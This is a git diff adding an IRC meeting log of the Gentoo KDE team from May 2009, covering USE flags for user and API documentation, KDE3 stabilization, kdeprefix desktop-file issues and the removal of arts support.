+22:45 <@tampakrap> hwoarang wants me to change my cloak to gentoo/slacker/tampakrap
+22:46 <@scarabeus> hm and you could not write this yesterda
+22:46 <+krytzz> hehe
+22:47 <@alexxy> he he =)
+22:47 -!- g1lt [n=quassel@203-79-94-158.cable.telstraclear.net] has joined #gentoo-kde
+22:48 <@scarabeus> jmbsvicetto: http://dpaste.com/22343/
+22:48 <@scarabeus> jmbsvicetto: again no log, i didnt reboot my client yet :D
+22:48 <@scarabeus> uptime 48 days cant be ruined :D
+22:50 <@jmbsvicetto> hehe
+22:50 <@jmbsvicetto> tampakrap: You have a long road to go before you qualify for that :P
+22:50 <@jmbsvicetto> tampakrap: We have real "slacker" experts around here ;)
+22:50 <@tampakrap> i don't think so, take a look at my cia.vc page
+22:51 <@jmbsvicetto> So are we done?
+22:51 <@tampakrap> yes, where is the summary?
+22:51  * reavertm unpauses music
+22:52 <@jmbsvicetto> In that case, let me remind people that we still have a *few* open bugs and that we should all try to help get that number down
+22:52 <@scarabeus> tampakrap: http://dpaste.com/22343/
+22:52 <@scarabeus> yeah and ehm officaly meeting is over ;]
diff --git a/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-project-meeting-log-20090521.txt b/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-project-meeting-log-20090521.txt
new file mode 100644
index 00000000..c66ea365
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-project-meeting-log-20090521.txt
@@ -0,0 +1,1769 @@
+22:00 (@alexxy) !time
+22:00 (Willikins) alexxy: Europe - Moscow - Thu May 21 23:00 MSD
+22:00 (@alexxy) heh
+22:00 (@scarabeus) roll-call slackers
+22:00 (+wired) w000t
+22:00 (@alexxy) time to start
+22:00 (@scarabeus) !herd kde
+22:00 (@alexxy) =)
+22:00 (Willikins) (kde) alexxy, carlo, cryos, dagger, deathwing00, jmbsvicetto, keytoaster, patrick, scarabeus, tampakrap, tgurr
+22:00 (+wired) meh
+22:00 (+wired) hopefully last meeting im not in that list
+22:00 (dagger) huh
+22:00 (+wired) :D
+22:00 (@alexxy) time to start meeting
+22:00 (nirbheek) hurr hurr
+22:00 (@scarabeus) Time to start meting :D
+22:00 (@alexxy) who is here?
+22:00  -> tampakrap
+22:00 (@hwoarang) wait!
+22:00 (nirbheek) Time to start mating!
+22:00 -!- Pesa [n=Pesa@bluemchen.kde.org] joins -> #gentoo-kde
+22:00 (@hwoarang) !herd qt
+22:00 (dagger) alexxy: I'm not here :)
+22:00 (@hwoarang) ladies?
+22:01 (dagger) hwoarang: lol
+22:01 (Willikins) (qt) carlo, hwoarang, tampakrap, yngwin
+22:01 (Gentle) is the libusb blocker ( http://dpaste.com/46414/ ) known? How to best avoid it?
+22:01 (nirbheek) !herd gnome
+22:01 (Willikins) (gnome) dang, eva, ford_prefect, leio, nirbheek, remi
+22:01 (+wired) that list as well
+22:01 (nirbheek) Low attendance, hmmm.
+22:01 (@hwoarang) Pesa: dont hide , come over here
+22:01 (+wired) nirbheek: lolz
+22:01 (Pesa) i'm here, just in time :D
+22:01 (@scarabeus) bonsaikitten: you too, are you around?
+22:01 (@bonsaikitten) no, I'm a square
+22:01 -!- mode/#gentoo-kde [+vvvv papillon81 Phlogi _Phlogi Civil] by scarabeus
+22:01 (@alexxy) bonsaikitten: or you square today?
+22:01 (@bonsaikitten) :)
+22:01 (nirbheek) bonsaikitten, lrn2read vowels
+22:02 (@scarabeus) :D
+22:02 (nirbheek) So, wait, this is it? This is the meeting?
+22:02 (@scarabeus) so we are missing few devs, and importantly our lead
+22:02 (nirbheek) rollcall followed by silence?
+22:02 (+krytzz) im a triforce
+22:03 (cvandonderen) I want to join too! :-D:-P
+22:03 (@alexxy) jmbsvicetto: !!!!!
+22:03 (dagger) should I *stab* him?
+22:03 (+wired) nirbheek: our meetings happen in brainwave levels :P
+22:03 (@hwoarang) yngwin_: !!
+22:03 (+wired) the leads are away
+22:03 (@alexxy) Civil: !
+22:03 (@hwoarang) slacking leaders :D
+22:03 (+wired) maybe they went out for beers
+22:03 (+wired) :D
+22:03 (@alexxy) mine beer is near me
+22:03 (@alexxy) =)
+22:04 (@hwoarang) +1
+22:04 (@scarabeus) mine too :]
+22:04 (@scarabeus) ok
+22:04 (+Civil) alexxy, ?
+22:04 (@hwoarang) o_0
+22:04 (+wired) i see
+22:04 (dagger) I've got tonic with me (no without gin)
+22:04 (@yngwin_) present
+22:04 (@hwoarang) !! YEY!!
+22:04 (+wired) beer meeting this will be
+22:04 -!- yngwin_ is now known as yngwin
+22:04 (+wired) yngwin: :D
+22:04 (spatz) for me? you shouldn't have :p
+22:04  -> papillon81 is here
+22:04  -> Civil is here
+22:04 -!- hwoarang topic of #gentoo-kde ->> Gentoo KDE | meeting 21.5. 19:00 UTC | KDE 4 guide: http://tinyurl.com/4n47v4 | p.keywords: http://xrl.us/kdekeyw | Overlays: kde-testing, qting-edge | Want to help? http://tinyurl.com/gktodo | Bugs: http://tinyurl.com/kdebugs1 http://xrl.us/qtbugs | Useful links: http://userbase.kde.org/ http://ktown.kde.org/~dirk/dashboard | Want to test KDE4 on a kvm? http://tinyurl.com/by7tv3 | KDE 4.2.87in kde-testing! | SitRep: SNAFU | Beer meeting in
+22:04 (@hwoarang) stupid topic
+22:04 -!- joost_op [n=joost@86.92.194.222] joins -> #gentoo-kde
+22:04 (+wired) hwoarang: you fail it
+22:05  -> nirbheek is here
+22:05 (joost_op) evening
+22:05 (@scarabeus) nirbheek: you want really to be listed on the roll-call?
+22:05 -!- mode/#gentoo-kde [+v spatz] by yngwin
+22:05  -> nirbheek does not know why he is here except maybe for espionage and sabotage
+22:05 (@scarabeus) nirbheek: dont you fear other gnomies would burn you as witch
+22:05  -> reavertm around
+22:05 -!- mode/#gentoo-kde [+v Pesa] by yngwin
+22:05 (nirbheek) scarabeus, they're too busy slacking :p
+22:05 (@scarabeus) ok
+22:05 (@scarabeus) i think better it wont get
+22:05 (@scarabeus) most of us is here
+22:05 (@hwoarang) :D
+22:06 (+wired) yodabeus
+22:06 (@scarabeus) :D
+22:06 (@scarabeus) ok somebody must do the log
+22:06 (+reavertm) nirbheek: we'll talk about some desktop file related stuff that touches gnome as well, so stay here :)
+22:06 (@scarabeus) i still didnt find how todo it on quassel
+22:06 (+wired) i'm logging
+22:06 (@scarabeus) great
+22:06 (@hwoarang) nice
+22:06 (nirbheek) reavertm, kewl
+22:06 (@scarabeus) so anyone has something to the topic list we have on the mail, or we should start right away with it?
+22:07 (cvandonderen) scarabeus: you can just copy-paste it from the backlog
+22:07 (@tampakrap) why not wait 10 minutes for others?
+22:07 (@scarabeus) cvandonderen: not convinient
+22:07  -> papillon81 has got no mail
+22:07 (cvandonderen) scarabeus: we did it last time for a kde.org meeting ;-)
+22:07 (@scarabeus) tampakrap: what others, only boss and cryos is missing
+22:07 -!- Red_Devil [n=red@lounge.datux.nl] <- quit [Read error: 110 (Connection timed out)]
+22:07 (@tampakrap) boss then
+22:07  -> jokey enters spectator mode
+22:08 (nirbheek) jokey, YESH
+22:08 (nirbheek) I finally catch you
+22:08 -!- _Phlogi [n=quassel@38-77.76-83.cust.bluewin.ch] <- quit [Read error: 110 (Connection timed out)]
+22:08 (+reavertm) http://dpaste.com/46416/ - meeting agenda
+22:08 (+papillon81) reavertm: thanks
+22:08 (@scarabeus) http://archives.gentoo.org/gentoo-dev/msg_c5211b31c0fbff058bc767e3ac8ef077.xml
+22:08 (@scarabeus) for those whom dont like pastebins
+22:09 (@yngwin) scarabeus: carlo is missing too
+22:09  -> lxnay sniffs packets from now
+22:09 (@scarabeus) yngwin: he will be allways missing
+22:09 (@yngwin) i know, but i consider this an offence
+22:09 (@scarabeus) well he does not reply to mine mails either
+22:10 (@scarabeus) ok i will write it to summary and let it to jorge to sort out :P
+22:10 (@yngwin) yes please
+22:10 (@hwoarang) no
+22:10 (+reavertm) a'ka "removing dead members" ?
+22:10 (@hwoarang) i ve talked to jorge before 2-3 days
+22:10 (cvandonderen) I could do the kde4 guide....
+22:10 (@hwoarang) he said it is up to qt herd to deal with him
+22:10 (@hwoarang) :)
+22:10 (@yngwin) ok
+22:10 (cvandonderen) I'm new to Gentoo, so I can do it based on experiences encontered
+22:10 (@yngwin) i'll take care of it then
+22:11 (@hwoarang) ok
+22:11  -> cryos|work wife is having a baby in a few weeks - he may not be present for the next few meetings. Sorry!
+22:11 -!- kdeR [n=wired@musici.static.otenet.gr] joins -> #gentoo-kde
+22:11 (@hwoarang) o_0
+22:11 (@hwoarang) new developer :D
+22:11 (@tampakrap) congratulations!
+22:11 (@yngwin) good luck with that
+22:11 (+krytzz) haha
+22:11 (@scarabeus) cryos|work: wow, cool, enjoy the little slacker, be sure you wont be sleeping either :]
+22:11 (@yngwin) :)
+22:12 (+krytzz) yeah congratulations
+22:12 (dagger) cryos|work: grats to you and your mrs dude :)
+22:12 (@hwoarang) \o/ congrats cryos|work :)
+22:12 (@cryos|work) Thanks - expecting lots of ups and downs over the next few months. Today has been hectic...
+22:12 (@cryos|work) US time zone doesn't help me get here either...
+22:12 (+wired) cryos|work: congrats =]
+22:12 (@alexxy) he he =) congratulations cryos|work =)
+22:13 (@jmbsvicetto) Hello
+22:13 (jokey) new dev training++
+22:13 (dagger) yaay jmbsvicetto!
+22:13 (+krytzz) yay chef
+22:13 (+wired) jmbsvicetto: leader!
+22:13 (@hwoarang) :)
+22:13 (+wired) w00t
+22:13 (@jmbsvicetto) Sorry guys, but I just sat down at work. I've been working up until now
+22:13 (@hwoarang) no worries
+22:13 (@hwoarang) i bet we are about to break a record today
+22:13 (@scarabeus) jmbsvicetto: the network magic? :]
+22:14 (lxnay) jmbsvicetto: helloes
+22:14 (@scarabeus) ok i know we all can say hello for next 20 minutes, but lets get started :]
+22:14 (@scarabeus) topic 1; doc handling
+22:14 (@scarabeus) reavertm: anything changed on that subject?
+22:14 (nirbheek) <whew<
+22:15 (@scarabeus) the current state is we have one doc useflag
+22:15 (@scarabeus) and some package install under that user documentation and api documentation
+22:15 (@scarabeus) so we decided to use doc useflag for user documentation
+22:15 -!- Dont_Panic [n=dontpani@adsl-230-54-128.mob.bellsouth.net] joins -> #gentoo-kde
+22:15 (@scarabeus) and for specified packages with api-doc we will create new useflag
+22:15 (nirbheek) mumble, mumble, what about packages that just rebuild the docs?
+22:15 (nirbheek) And unconditionally install docs?
+22:15 (@jmbsvicetto) cryos|work: congrats
+22:15 (@scarabeus) nirbheek: we dont have such :]
+22:16 (+reavertm) I support idea of leaving 'doc' for handbooks and introduce some other useflag when there's apidocs along with use documentation
+22:16 (@cryos|work) Thanks jmbsvicetto :P
+22:16 (@jmbsvicetto) scarabeus: getting ready for that
+22:16 (@scarabeus) reavertm: so we agree on that :]
+22:16 (nirbheek) scarabeus, but hypothetically, if you guys did, what would you do :p
+22:16 (+krytzz) nirbheek slap upstream
+22:16 (@jmbsvicetto) Hi everyone
+22:16 (nirbheek) krytzz, difficult to slap entire gnome :p
+22:16 (joost_op) right now compile kdelibs +doc results in a 268MB vs 48MB package
+22:16 (nirbheek) jmbsvicetto, HELLO.
+22:16 (@scarabeus) so what would be the apidoc useflag
+22:17 (+reavertm) same for kdepimlibs
+22:17 (@scarabeus) api-doc apidoc
+22:17 (@scarabeus) anything else?
+22:17 (@jmbsvicetto) reavertm: By default on Gentoo, user docs should be installed
+22:17 (@scarabeus) suggestions ...
+22:17 (cvandonderen) and will the apidoc useflag only be for kde, or Gentoo-wide?
+22:17 (@scarabeus) jmbsvicetto: they are large
+22:17 (@jmbsvicetto) reavertm: Only api / dev docs / examples should be conditional on use flags
+22:17 (+reavertm) jmbsvicetto: hmm
+22:17 (+wired) we could keep useflag for user docs but + it
+22:17 (+reavertm) well, that's the way as well
+22:18 (@scarabeus) sounds reasonable
+22:18 (@scarabeus) +doc on kde-base
+22:18 (@jmbsvicetto) scarabeus / reavertm: If they are large, they fit with the other docs - thus should depend on a use flag
+22:18 (+reavertm) nirbheek: how do you have it on gnome?
+22:18 (@jmbsvicetto) Gentoo does allow for exceptions ;)
+22:18 (nirbheek) reavertm, we ignore the problem entirely =p
+22:18 (+wired) lolz
+22:18 (@scarabeus) jmbsvicetto: well then lets invent apidoc
+22:18 (@jmbsvicetto) nirbheek: hehe
+22:18 (@scarabeus) jmbsvicetto: docs are handled fine
+22:18 (cvandonderen) and then make it kde-docs or something, because Java installs apidoc with doc too
+22:18 (@scarabeus) but as joost said
+22:18 (@scarabeus) 268 mb vs 48 mb
+22:18 (@jmbsvicetto) scarabeus: what fills those 268MB ?
+22:19 (nirbheek) docsdammitwhatelse
+22:19 (@yngwin) maybe a discussion on dev ml is warranted, about global apidoc useflag
+22:19 (@scarabeus) jmbsvicetto: api documentation
+22:19 (@scarabeus) yngwin: i hate writing on -dev
+22:19 (@scarabeus) yngwin: everything that is not anouncement turns to flame
+22:19 (joost_op) for users having +doc in their make.conf, its not what they wanted
+22:19 (lxnay) scarabeus: ;) true
+22:19 (@yngwin) well, thats the official channel...
+22:19 (+reavertm) if gentoo policy is to install docs by default, maybe we should drop 'doc' useflag for handbooks then
+22:20 (+wired) scarabeus: it works if you just ignore flame[baits]
+22:20 (nirbheek) scarabeus, ignore all replies is the solution
+22:20 (@scarabeus) reavertm: now when it finaly works? ;]
+22:20 -!- Devrethman [i=mpd@D-128-208-118-158.dhcp4.washington.edu] <- quit [Read error: 110 (Connection timed out)]
+22:20 (@scarabeus) reavertm: i would go with +doc
+22:20 (+wired) nah it should be optional, its gentoo
+22:20 (+krytzz) me too scarabeus
+22:20 (+spatz) if doc should be enabled by default then it should be done in the profile
+22:20 (+wired) +doc sounds best
+22:20 (@yngwin) no!
+22:20 (+krytzz) why not
+22:20 (@hwoarang) i dont like +doc
+22:20 (+reavertm) not in profile
+22:20 (@alexxy) heh ; to me seems better to use doc for user docs
+22:20 (dagger) +doc sounds the best. If you want, you can disable it
+22:20 (nirbheek) spatz, that results in too many circular deps
+22:20 (@scarabeus) in kde-base packages
+22:20 (@yngwin) not in profile
+22:20 (+reavertm) better +doc per ebuild
+22:20 (@scarabeus) yes per ebuild
+22:21 (nirbheek) spatz, it's officially unsupported by Gentoo for global enabling
+22:21 (@scarabeus) and the apidoc i will sum up some mail then
+22:21 (@jmbsvicetto) scarabeus: But is it only api documentation or the handbook as well?
+22:21 (+reavertm) jmbsvicetto: we need to distinguish them where they are both
+22:21 (+reavertm) (like in kdelibs)
+22:21 (@scarabeus) jmbsvicetto: +doc for documetnation only
+22:21 (+reavertm) +doc whould be just for handbooks
+22:21 (@scarabeus) jmbsvicetto: apidoc or sth for api doc
+22:21  -> yngwin goes off to set -doc in make.conf
+22:21 (@scarabeus) jmbsvicetto: where we ask on -dev for suggestions
+22:22 (@scarabeus) yngwin: :D
+22:22 (@yngwin) i can use internet thankyouverymuch
+22:22 (dagger) yngwin: how about kde-base/* -doc :)
+22:22 (@jmbsvicetto) ok, let me ask again. I'm not talking about use flags yet. I'm just trying to undestand what type of docs we have and an approximate size
+22:22 -!- Enrico|ITA| [n=quassel@host86-47-dynamic.7-87-r.retail.telecomitalia.it] joins -> #gentoo-kde
+22:22 (@yngwin) dagger: if only portage would support that
+22:22 (@scarabeus) jmbsvicetto: the doc is 5-10megs
+22:22 (@scarabeus) per package
+22:22 (dagger) yngwin: ouch. I though it does
+22:22 (@scarabeus) jmbsvicetto: apidoc is big crap
+22:22 (@jmbsvicetto) yngwin: It does, if you change the order for inheritance ;)
+22:23 (@yngwin) huh?
+22:23 (joost_op) jmbsvicetto, it looks like right now on kdelibs with +doc it generates an insane size on the disc.. for no clear reason..
+22:23 (@jmbsvicetto) scarabeus: So 5-10MB for handbook and possible >100MB for the rest?
+22:23 (@scarabeus) y
+22:23 (@scarabeus) so growth in total about +500meg now
+22:23 (@alexxy) ohh
+22:23 (@alexxy) realy big
+22:23 (dagger) that's quite extensive
+22:23  -> scarabeus already has -doc in use
+22:23 (@jmbsvicetto) yngwin: It's possible to affect the way portage treats the use flags - but I'll leave that for another time
+22:24 (@yngwin) jmbsvicetto: we were talking about wildcard support
+22:24 (@jmbsvicetto) Ah, sorry. I -meant you were talking about -* default use flags
+22:24 (+reavertm) or rather per-category USE flags
+22:24 (@jmbsvicetto) s/-meant/thought/
+22:25 (+reavertm) anyway, we're deviating a bit from the topic
+22:25 (@scarabeus) bit
+22:25 (@jmbsvicetto) scarabeus: In that case, let's talk about it in the dev ml
+22:25 (@scarabeus) ok
+22:25 (@scarabeus) i will sent that mail
+22:25 (+reavertm) so we leave kdelibs alone for now or invent use flag for apidocs?
+22:25 (@scarabeus) reavertm: first -dev
+22:25 (@scarabeus) reavertm: then we will do whole thing
+22:25 (@scarabeus) for now waiting on the mail
+22:26 (+reavertm) it will take forever
+22:26 (@jmbsvicetto) scarabeus: Personally I would suggest we install handbook by default (handbook use flag) and leave the doc use flag for the rest (disabled by default)
+22:26 (@scarabeus) reavertm: i give them 7 days
+22:26 (+reavertm) we can rename USE flag anytime
+22:26 (+reavertm) (and play with it in overlay)
+22:26 (@scarabeus) pple would tear us apart :D
+22:26 (@scarabeus) if we move back to handbook D:
+22:26 (+wired) lol
+22:26 (+reavertm) pple can kill our asses - who does the work - decides
+22:26 (@alexxy) he he =)
+22:26 (@jmbsvicetto) scarabeus: +handbook for user docs ;)
+22:26 (@alexxy) someone would forced to rebuild whole kde
+22:26 (nirbheek) ouch
+22:26 (joost_op) yeah it makes more sense..
+22:26 (+reavertm) jmbsvicetto: +handbook or +doc?
+22:27 (joost_op) (o;
+22:27 (@jmbsvicetto) My proposal would be +handbook for handbook and doc for the rest
+22:27 (+wired) alexxy: doesn't portage profile/updates cover user flag changes?
+22:27 (@scarabeus) --newuse
+22:27 (+reavertm) (I'd like to rename +100 ebuilds and eclass)
+22:27 (@jmbsvicetto) reavertm: meaning eapi docs
+22:27 (@scarabeus) pple would hate us
+22:27 (joost_op) since +doc right now generates the handbook
+22:27 (+wired) use*
+22:27 (@jmbsvicetto) s/eapi/api/
+22:27 (joost_op) keeping kdelibs out of it
+22:27 (@alexxy) wired: no =)
+22:27 (+reavertm) (i mena I woundn't lke to rename so many use flags...)
+22:28 (@jmbsvicetto) We can do any changes in the use flags for 4.3
+22:28 (Kuja^) wired: it only handles package renames afaik
+22:28 (+wired) meh
+22:28 -!- BarbieGentoo-er is now known as Tina-
+22:28 (@scarabeus) i agree with reaver, we need some test suicider who will do it, with apidoc we have 2 packages to change
+22:28 -!- jmbsvicetto topic of #gentoo-kde ->> Gentoo KDE | meeting: Now | KDE 4 guide: http://tinyurl.com/4n47v4 | p.keywords: http://xrl.us/kdekeyw | Overlays: kde-testing, qting-edge | Want to help? http://tinyurl.com/gktodo | Bugs: http://tinyurl.com/kdebugs1 http://xrl.us/qtbugs | Useful links: http://userbase.kde.org/ http://ktown.kde.org/~dirk/dashboard | Want to test KDE4 on a kvm? http://tinyurl.com/by7tv3 | KDE 4.2.87in kde-testing! | SitRep: SNAFU
+22:29 (@scarabeus) with handbook we have to touch all
+22:29 (@jmbsvicetto) scarabeus: The handbook should be dealt with in the eclasses, imo
+22:29 (@scarabeus) jmbsvicetto: ok but it will be todo for 4.3
+22:29 (+reavertm) it's already dealt there, but ebuilds need to fixed as well
+22:29 (@jmbsvicetto) scarabeus: that's my opinion
+22:29 (@scarabeus) or 4.4
+22:29 (@scarabeus) :D
+22:30 (@jmbsvicetto) scarabeus: But you don't have to agree with me ;)
+22:30 (joost_op) i'd address it to 4.4
+22:30 (joost_op) but thats just my ho
+22:30 (@scarabeus) well i am just lazy, cause it is annoying work
+22:30 -!- ehustad [n=espen@ti511220a080-1003.bb.online.no] joins -> #gentoo-kde
+22:30 (@scarabeus) go throught all ebuilds and manualy check them
+22:30 (@scarabeus) there is 250 of them
+22:30 (@scarabeus) and pple still commit to them
+22:30 (@scarabeus) so merge failitures
+22:30 (@scarabeus) AAGHR
+22:30 (dagger) scarabeus: make it 40 each :)
+22:31 -!- UT2K3 [n=UT2K3@one.lanrena.ilk.de] joins -> #gentoo-kde
+22:31  -> lxnay can do annoying work
+22:31 (@scarabeus) lxnay: you are realy willing to do it?
+22:32  -> lxnay hides
+22:32 (lxnay) ;)
+22:32 (lxnay) well we can talk about it
+22:32 (@scarabeus) as you wish
+22:32 (joost_op) lxnay, hahaha leave it to scarabeus
+22:32 (lxnay) but sure
+22:32 (joost_op) we have enough todo
+22:32 (lxnay) i can help out
+22:32  -> joost_op grins
+22:32 (@scarabeus) :]
+22:32 (@scarabeus) :D
+22:32 (+reavertm) I'd like to see how it's handled elsewhere 1st
+22:32 (@scarabeus) reavertm: by elsewhere you mean?
+22:33 (UT2K3) hi guys i upgraded to kde-4.3 and now the most icons are missing
+22:33 (@jmbsvicetto) ok, so we'll use the dev ml to discuss the split between the documentation and the use flags for it. Anyone objects?
+22:33 (@jmbsvicetto) UT2K3: We're in the middle of a meeting, please leave it for after the meeting
+22:33 (UT2K3) ok
+22:33 (lxnay) anything that falls into split attracts me, split and reign
+22:34 (+reavertm) elsewhere, gnome (nirbheek by ignoring problem you mean installing everything provided by autoconf not caring whether docs are there or not?), openoffice, whatever
+22:34 (nirbheek) reavertm, yeah, pretty much
+22:34 (@scarabeus) reavertm: mostly they dont care
+22:34 (nirbheek) the doc use-flag on gnome packages rebuilds the docs
+22:34 (nirbheek) But even that's inconsistent for a few packages
+22:35 (nirbheek) (some packages don't use gtk-doc)
+22:35 (nirbheek) Oh, and these are api docs :p
+22:35 (nirbheek) ls /usr/share/gtk-doc/html
+22:35 (@jmbsvicetto) hmm, so do we want to move that discussion to the dev ml?
+22:36  -> jmbsvicetto looks at the clock
+22:36 (@scarabeus) jmbsvicetto: jup
+22:36 (+reavertm) anyway if 'doc' is for developer documentation, we need new USE flag for handbooks
+22:36 (@scarabeus) end of this topic :]
+22:36 (@jmbsvicetto) ;)
+22:36 (@jmbsvicetto) KDE3?
+22:36 (@scarabeus) that was FUBAR
+22:36 (@scarabeus) total one
+22:36 (@scarabeus) when we moved it to the tree
+22:36 (@scarabeus) many things broke
+22:36 -!- jmbsvicetto topic of #gentoo-kde ->> Gentoo KDE | meeting: Now - KDE3 | KDE 4 guide: http://tinyurl.com/4n47v4 | p.keywords: http://xrl.us/kdekeyw | Overlays: kde-testing, qting-edge | Want to help? http://tinyurl.com/gktodo | Bugs: http://tinyurl.com/kdebugs1 http://xrl.us/qtbugs | Useful links: http://userbase.kde.org/ http://ktown.kde.org/~dirk/dashboard | Want to test KDE4 on a kvm? http://tinyurl.com/by7tv3 | KDE 4.2.87in kde-testing! | SitRep: SNAFU
+22:37 (@scarabeus) even now it is not finished
+22:37 (@tampakrap) not exactly
+22:37 (+Pesa) please try to avoid the gtk-doc mess ;)
+22:37 (@tampakrap) we knew from the beginning that were was going to be a mess with kde3 misc apps
+22:37 (@jmbsvicetto) Well, we also have gcc-4.4 and glibc-2.10 joining the *fun*
+22:37 (Mirrakor) :)
+22:37 (+reavertm) kde3, well, the state is kdelibs is hacked to replace some entries of .desktop files on the fly to make kde4 apps (even those from kdeprefix) distinguished (and runnable)
+22:37 (+wired) btw kdelibs3 -r6 just failed on me
+22:37 (+reavertm) but...
+22:38 (+wired) probably due to glibc or gcc =]
+22:38 -!- cvandonderen [n=casper@212-182-159-91.ip.telfort.nl] <- quit ["leaving"]
+22:38 (+wired) kde3 session lists all -kdeprefix kde4 apps in menu now properly
+22:38 (@jmbsvicetto) Just a quick point, I think we should open a tracker bug about gcc-4.4 and another about glibc-2.10 breakages with KDE apps
+22:38 (@alexxy) yep =) i use gcc 4.4 and new glibc
+22:38 (+reavertm) the problem is - not all kde4 executables want to work within kde3 (or any non kde4) session
+22:39 (@scarabeus) reavertm: i think that pple will have to live with it
+22:39 (+wired) reavertm: actually all kde4 apps i tested worked in kde3 session
+22:39 (+wired) reavertm: always -kdeprefix
+22:39 (@scarabeus) with +kdeprefix i know it is evil
+22:39 (+reavertm) wired: install 4.2 in kdeprefix and live in kdeprefix as well (so you have two kde4 releases in kdepredfx) and install kde3
+22:39 (@scarabeus) but it wont work correctly so i think kde3 should not see it at all
+22:39 (+wired) kdeprefix isn't supported atm
+22:39 (+reavertm) troubles start there
+22:40 (+wired) the patch doesn't even care
+22:40 (@scarabeus) and we should focus on making the kde3 misc apps revbumped and stabled
+22:40 (+reavertm) wired: looked at my patch?
+22:40 (+reavertm) my patch does care :)
+22:40 (@scarabeus) reavertm: i know you patched it, simple, just revert it
+22:40 (+wired) haven't seen your patch
+22:40 (+krytzz) i think who uses kde3 and kdeprefix doesnt deserve better :p
+22:40 (+reavertm) well, it works with -kdeprefix as well
+22:40 (@scarabeus) one +kdeprefix version never saw other +kdeprefix one
+22:40 (@scarabeus) so...
+22:40 -!- UT2K3 [n=UT2K3@one.lanrena.ilk.de] <- quit ["Bambus> frei nach dem motto: was ist besser als 14? 2 x 7 :o"]
+22:40 (+wired) reavertm: does it work or not then?
+22:40 (+reavertm) the point is - there's other approach
+22:41 -!- ehustad_ [n=espen@ti511220a080-1003.bb.online.no] <- quit [Read error: 110 (Connection timed out)]
+22:41 (+reavertm) wired: patch works, but just replacing those is not sufficient to run kde4 apps  (kde 4.2 apps) within kde3
+22:41 (+wired) well no
+22:41 (+reavertm) they try to load oxygen theme from live kde
+22:41 (+wired) kde4 kdeprefix apps will need a wrapper script
+22:41 (+reavertm) that's issue that needs to be resolved
+22:41 (+wired) just as kde3 apps need kde3 wrapper script in kde4
+22:41 (+reavertm) that's stupid anyway
+22:42 (+reavertm) let me check wrapper
+22:42 (+papillon81) what is the main issue behind the kde3 topic that needs to be discussed here?
+22:43 (+wired) having all stuff available in all menus
+22:43 (+papillon81) k
+22:43 (@tampakrap) ok apart from that
+22:43 (+reavertm) wrapper doesn't fix this
+22:43 (+reavertm) so anyway
+22:43 (+reavertm) new idea is to modify .desktop files directly
+22:43 (@tampakrap) i started opening stabilization bugs for various kde3 apps
+22:44 (+reavertm) substitute paths with absolute ones, add suffixes to names to make it distinguished etc
+22:44 (@tampakrap) i think monolithics can be masked and 3.5.10 can go to stabilization since 3.5.9 is dead
+22:44 (@yngwin) ah that reminds me, are we deprecating arts as per bug 270575 ?
+22:44 (Willikins) yngwin: https://bugs.gentoo.org/270575 "Dropping USE="arts" and USE="esd""; Gentoo Linux, Applications; NEW; ssuominen@g.o:qa@g.o
+22:44 (+reavertm) i alrady started working on desktop-file-edit util (in desktop-file-utils, maybe it will be added there sometime)
+22:44 (@scarabeus) we should
+22:45 (@hwoarang) at last :)
+22:45 (@yngwin) i think we can just remove arts support in 3.5.10
+22:45 (@scarabeus) yup that would be smart
+22:45 (@tampakrap) can arts be safely disabled? it needs testing
+22:45 (@scarabeus) remove arts support in 3.5.10
+22:45 (@yngwin) but we should check stable tree for packages requiring arts, if any
+22:45 (@scarabeus) tampakrap: actualy more breakages is arts enabled
+22:45 (+reavertm) nirbheek: you're not going to hack .desktop files loader in gnome to make kde4 apps (from multiple prefixes) not seen as duplicates?
+22:45 (@scarabeus) tampakrap: it is more question, can we affort supporting arts
+22:45 (+papillon81) lol
+22:46 (@bonsaikitten) kill it with fire
+22:46 (@bonsaikitten) then kill it again until it is dead
+22:46 -!- gengor|lunch is now known as gengor
+22:46 (+wired) lol
+22:46  -> papillon81 has arts disabled since ages
+22:46 (nirbheek) reavertm, why should they not be shown as duplicates?
+22:47 (nirbheek) (I'm unfamliar with exactly how kde4 prefixes work)
+22:47 (+reavertm) if you have kde4.2 in /usr/kde/4.2 and /usr/kde/live - you'll get two identical "Text editor" icons lanching same app
+22:47 (+reavertm) (the one that is 1rst in PATH
+22:48 (@yngwin) kde4 installs vim?
+22:48 (@hwoarang) lol :P
+22:48 (@yngwin) "text editor" ...
+22:48 (+reavertm) kwrite
+22:48 (nirbheek) reavertm, I'm confused, how can two paths in PATH cause duplicate .desktops?
+22:48 (Enrico|ITA|) yngwin: kde4 rocks, vim rocks so they pull in each other :D
+22:48 -!- jkt| [n=jkt@gentoo/developer/jkt] <- quit [Read error: 60 (Operation timed out)]
+22:49 (@scarabeus) reavertm: i still think it is just wasting time
+22:49 (@scarabeus) reavertm: just forget about some +kdeprefix
+22:49 (@scarabeus) and problem is solved
+22:49 (@scarabeus) really
+22:49 (@scarabeus) we need it stable
+22:49 (@scarabeus) for stabling kde4
+22:49 (@yngwin) yeah, dont make it more complicated than necessary
+22:49 (@scarabeus) then it will be done in 7 months
+22:49 (@scarabeus) s/done/gone
+22:49 (+reavertm) then there's no point in exporting XDG_DATA_DIRS for kdeprefixed installs
+22:49 (nirbheek) Oh, I see
+22:49 (nirbheek) _that_ way
+22:49 (@alexxy) scarabeus: thats why i suggest to mask kdeprefix from regular users
+22:50 (@yngwin) i think once kde4 is in stable, there will be few kde3 users
+22:50 (nirbheek) reavertm, yes, plz2don't export prefixed installs (except for default prefix?)
+22:50 (+papillon81) also think about the issue with networkmanager-applet concerning different paths
+22:50 (@scarabeus) papillon81: later later
+22:50 (@scarabeus) now we are on kde3
+22:50 (@scarabeus) :]
+22:50 (+reavertm) but it can be done :P
+22:50 (@scarabeus) reavertm: can and must are 2 things
+22:50 (@scarabeus) reavertm: and we have other things we need to have done
+22:50 (@scarabeus) which are actualy more important than this
+22:51 (+wired) if user has kdeprefix
+22:51 (nirbheek) You guys have too much time and manpower :p
+22:51 (+wired) we should just export
+22:51 (@scarabeus) if user has kdeprefix, we dont bother with kde3
+22:51 (+wired) the ... higehr version one maybe?
+22:51 -!- Sho_ [n=EHS1@kde/hein] <- quit [Read error: 104 (Connection reset by peer)]
+22:51 (+wired) in XDG_DATA_DIRS
+22:51 (+reavertm) there is a bug already - "kde4 apps not shown in gnome" or whatever
+22:51 -!- Sho_ [n=EHS1@kde/hein] joins -> #gentoo-kde
